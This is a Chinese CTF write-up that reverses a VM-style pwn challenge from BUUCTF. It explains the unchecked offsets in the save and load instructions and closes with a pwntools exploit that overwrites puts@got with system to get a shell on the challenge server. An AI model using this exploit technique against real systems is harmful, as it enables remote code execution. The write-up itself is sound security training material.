BUU-ciscn_2019_qual_virtual-WP

Posted on Apr 14, 2021

一道虚拟机 pwn 题,大概是最入门的级别的了,也是此类题型我做的第一道,感觉主要的难点在逆向而非利用,理解程序行为和发现漏洞点后就不难做出了。

逆向分析

此程序模拟了一个数据段,一个代码段和一个栈段

主题框架如上,先申请三个段,然后读入程序名,指令和数据并翻译。

申请段的函数如上,注意到使用的是由一个较小的状态结构体维护一个较大的数据结构体的做法模拟了一个栈。状态结构体的前 8 字节存储数据结构体的地址,后八字节存储数据结构体的大小和当前处于栈顶的元素下标。该函数的返回值的是状态结构体的指针。

翻译的过程比较简单,没什么漏洞,就是把我们输入的指令翻译为 opcode 存到代码段上,把输入的数据存到数据段中。

然后模拟执行我们的指令,有 push pop load save 和加减乘除共计 8 个指令。实现这些指令的函数中出现了两个比较关键的函数

我称之为 pop_internal 和 push_internal,pop_internal 做的事情是将栈顶数据返回(通过修改传入的实参实现),并将栈指针减一。push_internal 则是将栈指针加一然后将栈顶元素赋值为传入的参数值。

8 个指令中,在执行 save 和 load 指令时,都没有对 v2 的值做合法性判断。

在 save 函数中,会先从栈段中 pop 出两个值,分别存入 v2 和 v3 中。然后将 v3 写到栈段的 top + v2 出的元素上,可见如果 v2 的值为负或较大值,就会出现越界写。如果我们事先 push 好 v2 和 v3,就可以实现任意地址写。

在 load 函数中,则是将当前栈段的栈顶 pop 出来,存入 v2,再 push 进当前栈段的 top + v2 处的值。控制好 v2,就可以将某处的值写到栈段中,结合四则运算的指令,可以起到隐式的 leak 的效果。

然后是四则运算指令,以 add 为例,就是 pop 出栈段中的两个元素,先后存入 v2,v3 中,再将 v3 + v2 压回栈中。

利用

经过上面的分析其实已经不难想出利用方法了,没有开启 full reload,首选就是改 got 表。由于程序会进行 puts(name); 的操作,所以考虑修改 puts@got 为 system,当 name == “/bin/sh\x00” 时就可以 getshell 了。由于栈地址未知,无法直接算出合适的 v2 的值对 got 任意写,所以先攻击状态结构体的堆指针。

由于状态结构体和数据结构体先后申请,所以他们是接在一起的,通过

push push save
got_addr -3

就可以修改状态结构体的堆指针,使其指向 got 表。

转移到 got 表后,可以先通过 load 指令写一个 libc 的地址到栈顶(在修改堆指针的时候计算好,使此时的栈顶就是 puts@got),然后 push 一个合适的偏移,再一 add,就可以改写 puts@got 为 system 了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

sh = remote("node3.buuoj.cn",27447)

name = "/bin/sh\x00"
instruct = "push push push push push save push load push add"
data = "0 0 0 4210696 -6 0 -258400"
# -258400 == libc.symbols["system"] - libc.symbols["free"]

sh.sendline(name)
sh.sendline(instruct)
sh.sendline(data)

sh.interactive()

看了我的逆向能力还有待提高。